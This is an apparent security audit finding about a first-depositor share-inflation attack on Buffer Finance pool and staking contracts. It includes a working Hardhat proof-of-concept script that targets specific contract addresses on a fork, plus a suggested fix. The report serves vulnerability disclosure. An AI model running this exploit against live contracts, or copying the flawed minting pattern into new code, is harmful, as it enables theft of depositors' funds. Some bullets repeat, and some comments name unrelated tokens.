gandu
high
Manipulation of LPTOKEN(Buffer LP Token) when totalSupply is zero can lead to implicit minimum deposit amount and loss of user funds due to rounding errors
name: Audit item about: These are the audit items that end up in the report title: "Manipulation of LPTOKEN(Buffer LP Token) when totalSupply is zero can lead to implicit minimum deposit amount and loss of user funds due to rounding errors" labels: "Critical Bug" assignees: "buffer"
- When totalSupply is zero an attacker goes ahead and executes the following steps
- 1.The attacker calls provide function of bufferBinnerPool Contract with 1 Wei underlying tokens(tokenX) to mint LPToken(BLP)
- 2.They will get 1wei of the underlying token amount of LPToken(BLP)
- 3.They transfer z underlying tokens directly to bufferBinnerPool contract address.
- This leads to 1 wei of LPToken(BLP) worth z (+ some small amount)
- Attacker won't have any problem making this z as big as possible as they have all the claim to it as a holder of 1 Wei of LPToken(BLP)
-
This attack has two implications
- 1.The first deposit can be front run and stolen
- Let's assume there is a first user trying to mint some LPToken(BLP) using their k*z underlying tokens
- An attacker can see this transaction and carry out the above-described attack making sure that k<1.
- This leads to the first depositor getting zero LPToken(BLP) for their k*z underlying tokens. All the tokens are redeemable by the attacker using their 1 wei of LPToken.
- 2.Implicit minimum Amount and funds lost due to rounding errors
- If an attacker is successful in making 1 wei of LPToken(BLP) worth z underlying tokens and a user tries to mint LPToken(BLP) using k* z underlying tokens then,
- If k<1, then the user gets zero LPToken(BLP) and all of their underlying tokens get proportionally divided between LPToken(BLP) holders
- This leads to an implicit minimum amount for a user at the attacker's discretion.
- If k>1, then users still get some LPToken(BLP) but they lose (k- floor(k)) * z) of underlying tokens which get proportionally divided between LPToken(BLP) holders due to rounding errors.
- If k<1, then the user gets zero LPToken(BLP) and all of their underlying tokens get proportionally divided between LPToken(BLP) holders
- This means that for users to not lose value, they have to make sure that k is an integer.
- If an attacker is successful in making 1 wei of LPToken(BLP) worth z underlying tokens and a user tries to mint LPToken(BLP) using k* z underlying tokens then,
- 1.The first deposit can be front run and stolen
-
Main Reason:
- Calculating the totalTokenXBalance() variable using a balance(address(this)) while minting token, so the amount attacker will transfer is also calculated. And totalTokenXBalance() function is the denominator in the mint variable.
-
Maths: here BalanceOF(address(this)) == X + 1Wei now mint token will be :
- amount/BalanceOF(address(this)
- = Y/(X+1wei) (here denominator is greater than numerator ) = 0.something
- = 0 (solidity round of math)
- this leads to the infinity amount of the user funds lost. also BufferBinaryPool contract is pool contract so that impecting other upcoming pool too.
adding the bug code explanation for the bufferStaking Contract they has the same issue.
const { ethers } = require("hardhat");
async function main() {
let user;
[user, ] = await ethers.getSigners();
let underlyingABI = [
"function balanceOf(address _user) view returns (uint256)",
"function decimals() external view returns(uint8)",
"function name() external view returns(string)",
"function approve(address spender, uint256 amount) external returns (bool)",
"function transfer(address recipient, uint256 amount) external returns (bool)",
"function totalSupply() external view returns (uint256)"
]
let vaultABI = [
"function stakeBfr(uint256 _amount) external",
"function balanceOf(address _user) view returns (uint256)",
"function totalSupply() external view returns (uint256)",
"function totalUnderlying() external view returns (uint256)"
];
const provider = new ethers.providers.JsonRpcProvider("http://127.0.0.1:8545/");
// Getting vault instance
const vault = new ethers.Contract("0x314215b08cbc14396b11de9b0246013777c9a92b", vaultABI, provider);
// getting underlying instance
const underlying = new ethers.Contract("0x1A5B0aaF478bf1FDA7b934c76E7692D722982a6D", underlyingABI, provider);
const mintToken = new ethers.Contract("0x314215b08cbc14396b11de9b0246013777c9a92b", underlyingABI, provider);
// Impersonating account which has some underlying tokens
await hre.network.provider.request({
method: "hardhat_impersonateAccount",
params: ["0xb66127377ff3618b595177b5e84f8ee9827cd061"],
});
const attacker = await ethers.getSigner("0xb66127377ff3618b595177b5e84f8ee9827cd061");
// Getting some eth
await ethers.provider.send("hardhat_setBalance", [
attacker.address,
"0x1158e460913d00000", // 20 ETH
]);
if(await mintToken.balanceOf(attacker.address) == 0 ) {
console.log('===============================================');
const attackerBalance = await underlying.balanceOf(attacker.address);
const userLPbalance = await mintToken.balanceOf(user.address);
console.log("attacker's underlying balance before attack:", attackerBalance);
console.log("user's balance:",userLPbalance )
// Transferring some underlying tokens to user
await underlying.connect(attacker).transfer(user.address, 60000000);
const userBalance = await underlying.balanceOf(user.address);
console.log("user's underlying balance before attack:", userBalance)
// Approving
await underlying.connect(attacker).approve(vault.address, ethers.utils.parseEther('1'), {gasLimit: 2300000});
await underlying.connect(user).approve(vault.address,ethers.utils.parseEther('1'), {gasLimit: 2300000});
console.log('===============================================');
console.log('Step 1: Attacker Depositing 1 wei amount of Joe token to mint some xJoe');
console.log("balance of before contract", await underlying.balanceOf(attacker.address));
await vault.connect(attacker).stakeBfr(1, {gasLimit: 2300000});
console.log("balance of after contract", await underlying.balanceOf(attacker.address));
console.log("balance of minttoken should be 1 wei ", await mintToken.balanceOf(attacker.address));
console.log("balance of contract", await underlying.balanceOf(vault.address));
console.log('Attacker total underlying balance after deposit: ', await underlying.balanceOf(attacker.address));
console.log('===============================================');
console.log('Step 2: Transferring underlying directly to mintToken, z = 60000000');
await underlying.connect(attacker).transfer(vault.address, 60000000, {gasLimit: 23000000});
console.log("total supply while transfering the assets", await underlying.balanceOf(vault.address));
console.log("balance of contract", await underlying.balanceOf(vault.address));
console.log('===============================================');
console.log('Attacker 2nd time Depositing with less than z after attack....'); // these amount will as big as attacker want
await vault.connect(user).stakeBfr( 60000000, {gasLimit: 2300000});
const UserLPBalance = await mintToken.balanceOf(user.address);
console.log("balance of user minttoken", UserLPBalance);
// consider attacker as a new depositor
if(UserLPBalance == 0){
console.log("Attack is successful")
}
else {
console.log("Failed");
}
}
}
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
})
fork Blocknumber : 26788007
- Manual Review
I like how BalancerV2 and UniswapV2 do it. some minimum amount of pool tokens get burnt when the first mint happens.